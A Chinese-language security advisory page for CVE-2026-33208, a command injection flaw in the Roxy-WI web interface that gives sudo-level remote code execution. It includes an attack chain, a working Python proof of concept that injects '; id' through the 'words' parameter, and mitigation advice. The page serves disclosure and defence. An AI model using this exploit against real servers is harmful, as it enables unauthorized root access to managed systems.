IPBUF安全漏洞报告
English
CVE-2026-33208 CVSS 8.8 高危

CVE-2026-33208 Roxy-WI 远程代码执行漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-33208
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Roxy-WI

相关标签

RCERoxy-WICommand InjectionCVE-2026-33208Haproxy

漏洞概述

Roxy-WI 是一个用于管理 Haproxy、Nginx、Apache 和 Keepalived 服务器的 Web 接口。在 8.2.6.4 版本之前,其 `/config/<service>/find-in-config` 端点存在安全缺陷。该端点未对用户提供的 `words` 参数进行充分过滤,直接将其嵌入到通过 SSH 在远程服务器上执行的 shell 命令字符串中。经过身份认证的攻击者可利用此漏洞注入任意 shell 元字符,打破原本的 grep 命令上下文,从而以 sudo 权限在目标服务器上执行任意操作系统命令,导致完全的远程代码执行。

技术细节

该漏洞属于典型的操作系统命令注入。漏洞触发点位于 Roxy-WI 处理配置搜索请求的逻辑中。当后端接收到对 `/config/<service>/find-in-config` 的请求时,它会提取用户输入的 `words` 参数,并直接拼接进系统命令字符串(如 `grep`),随后通过 SSH 代理将此命令发送至受管的服务器执行。由于缺乏对特殊字符(如分号 `;`、管道符 `|`、反引号 `` ` ``)的转义处理,攻击者可以构造特定的恶意输入来终止原命令并追加执行新的指令。鉴于 Roxy-WI 在执行管理任务时通常享有较高的 sudo 权限,攻击者利用此漏洞不仅能读取敏感配置,还能直接获取服务器 root 级别的控制权,严重威胁系统安全。

攻击链分析

STEP 1
步骤1
攻击者使用获取到的低权限账户凭证登录 Roxy-WI 管理界面。
STEP 2
步骤2
攻击者向 `/config/<service>/find-in-config` 接口发送特制的 HTTP 请求,在 `words` 参数中注入恶意 Shell 元字符(如 `; whoami`)。
STEP 3
步骤3
Roxy-WI 后端未过滤该参数,将其拼接到 SSH 命令中并转发至后端受管服务器执行。
STEP 4
步骤4
恶意命令在远程服务器上以 sudo 权限执行,攻击者成功获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Target configuration target_url = "http://your-roxy-wi-server:port" username = "low_priv_user" password = "password" service = "haproxy" # Example service name # Vulnerable endpoint endpoint = f"{target_url}/config/{service}/find-in-config" # Payload: Using semicolon to break out of grep and execute 'id' command # In a real attack, this could be a reverse shell payload = "; id" # Login to get session def login(): session = requests.Session() login_data = { "username": username, "password": password } try: resp = session.post(f"{target_url}/login", data=login_data) if resp.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") sys.exit(1) except Exception as e: print(f"[-] Error during login: {e}") sys.exit(1) # Exploit function def exploit(session): params = { "words": payload } print(f"[*] Sending payload to {endpoint}") try: # The application will execute: grep ... <payload> via SSH response = session.get(endpoint, params=params) print(f"[*] Response status: {response.status_code}") print("[*] Check if the command 'id' was executed on the remote server.") except Exception as e: print(f"[-] Error sending request: {e}") if __name__ == "__main__": sess = login() exploit(sess)

影响范围

Roxy-WI < 8.2.6.4

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用配置搜索功能或通过防火墙规则严格限制对 Roxy-WI 管理后台的访问来源,仅允许可信的管理员 IP 地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表